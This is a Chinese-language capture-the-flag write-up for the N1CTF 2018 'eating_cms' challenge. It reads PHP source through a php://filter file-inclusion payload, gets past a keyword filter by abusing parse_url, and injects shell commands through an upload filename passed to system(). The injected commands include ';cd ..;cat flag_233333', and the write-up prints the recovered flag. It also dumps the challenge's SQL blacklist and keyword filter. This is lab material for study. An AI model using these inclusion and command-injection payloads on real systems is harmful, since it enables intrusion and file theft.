[N1CTF 2018]eating_cms1
创始人
2024-06-01 19:25:09
0

一个cms,先打开环境

试了一下弱口令,无效,再试一下万能密码,告诉我有waf,先不想怎么绕过,直接开扫(信息收集)

访问register.php注册一个账号进行登录

上面的链接尝试用php读文件

http://575579bc-af3b-4fa5-b93d-9062dfb85a31.node4.buuoj.cn:81/user.php?page=php://filter/convert.base64-encode/resource=index

index.php

register.php

function.php

 $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function filter_directory_guest()
{$keywords = ["flag","manage","ffffllllaaaaggg","info"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
//    var_dump($query);
//    die();foreach($keywords as $token){foreach($query as $k => $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function Filter($string)
{global $mysqli;$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";for ($i = 0; $i < strlen($string); $i++) {if (strpos("$whitelist", $string[$i]) === false) {Hacker();}}if (preg_match("/$blacklist/is", $string)) {Hacker();}if (is_string($string)) {return $mysqli->real_escape_string($string);} else {return "";}
}function sql_query($sql_query)
{global $mysqli;$res = $mysqli->query($sql_query);return $res;
}function login($user, $pass)
{$user = Filter($user);$pass = md5($pass);$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";echo $sql;$res = sql_query($sql);
//    var_dump($res);
//    die();if ($res->num_rows) {$data = $res->fetch_array();$_SESSION['user'] = $data[username_which_you_do_not_know];$_SESSION['login'] = 1;$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];return true;} else {return false;}return;
}function updateadmin($level,$user)
{$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";echo $sql;$res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);if ($res == 1) {return true;} else {return false;}return;
}function register($user, $pass)
{global $mysqli;$user = Filter($user);$pass = md5($pass);$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";$res = sql_query($sql);return $mysqli->insert_id;
}function logout()
{session_destroy();Header("Location: index.php");
}?>

config.php

hacker.php

user.php

alert('no premission to visit info, only admin can, you are guest')");Header("Location: user.php?page=guest");}}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
//    $page = 'info';
//}
include "$page.php";
?>

login.php

error_parameter.php

到此为止,把能读的源码全读了,开始代码分析

看到有parse_url函数,可能存在漏洞

利用该漏洞的payload

//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

继续读取m4aaannngggeee(后续有用)

访问

http://xxxd1.no.buoj.cn:81/templates/upload.html

发现一个上传界面,随机上传一个文件,显示错误,看到upllloadddd,读它源码

upllloadddd.php(该界面访问报错,不是真正的上传界面)

";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "";
if($_FILES['file']['error']>0){unlink($newfile);die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){unlink($newfile);
}
?>

m4aaannngggeee(上面代码可以看出是上传界面)

http://xxx.nod4.bj.cn:81/user.php?page=m4aaannngggeee

然而这个上传界面没啥用,上传上去的代码被base64编码,无法解析

$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename."

可以看到这一行有一个system函数,我们可以对filename传参利用

打开bp抓包,对filename进行操作

payload为

;l's'

发现传回的值明显多于原图片内容base64后的结果

解码查看内容

发现此为命令执行后的结果,找寻flag,查看上级目录

payload

;cd ..;l's'

读取flag_233333

payload

;cd ..;cat flag_233333

找到flag值

flag{44794dcf-7ec4-4dd2-8f68-c6ad9219f0ef}

相关内容

热门资讯

魏桥创业人论坛纺织(魏桥创业论... 威桥创业集团是集“纺织染整服装家纺”产业链和“热电-采矿-氧化铝-原铝-铝深加工”产业链于一体的特大...
学点什么东西可以自己创业呢,创... 现在大家都愿意拿点钱做生意。生意虽然苦,累,但赚钱还是自由快乐的好。不过目前生意不好做。因为市场竞争...
怎么创业呢白手起家,农村如何创... 大家好。我们又见面了。我是你的老朋友,农民张。感谢您一直以来的支持和鼓励。有了你的支持,我可以在写作...
苏州绿色配送骗局(蛋解创业是骗... 朋友们,苏州绿色配送逐渐流行起来,但是其中其实蕴藏着你所不知道的骗局,为什么说苏州绿色配送是骗局呢?...
农村创业点子(大学生创业失败的... 首先,我不是反吹!个人认为,回国创业政策是利国利民的大事!我也是农村的。虽然离开农村12年了,但还是...
自助早餐店加盟连锁,小投资创业... 创业项目加盟推荐:移动洗车机随着私家车的普及,对清洁美观汽车的需求也在不断扩大。本项目使用的移动式洗...
创业空间服务是什么行业,创业服... 乌鲁木齐晚报全媒体消息(正文/记者穆民)近日,科技部火炬中心发布《国家级科技企业孵化器2019年度评...
创业英雄汇视频全集(创业英雄汇... 2017年8月4日,由中国邮政储蓄银行独家命名的《创业英雄汇》栏目在央视财经频道隆重上线。邮储银行和...
苏州创业园停车费标准,番山创业... 苏州的天气今天发布了今年首次高温红色预警烤了一个多星期后,达到了一个新的高度!边肖会给你发“酷”——...
重生成鸟 穿越一个个位面 洪荒... 重生成鸟 穿越一个个位面 洪荒 西游记 命运之夜 银河英雄传 回到地球 小说凶鸟猎食图谱重生猛禽 ...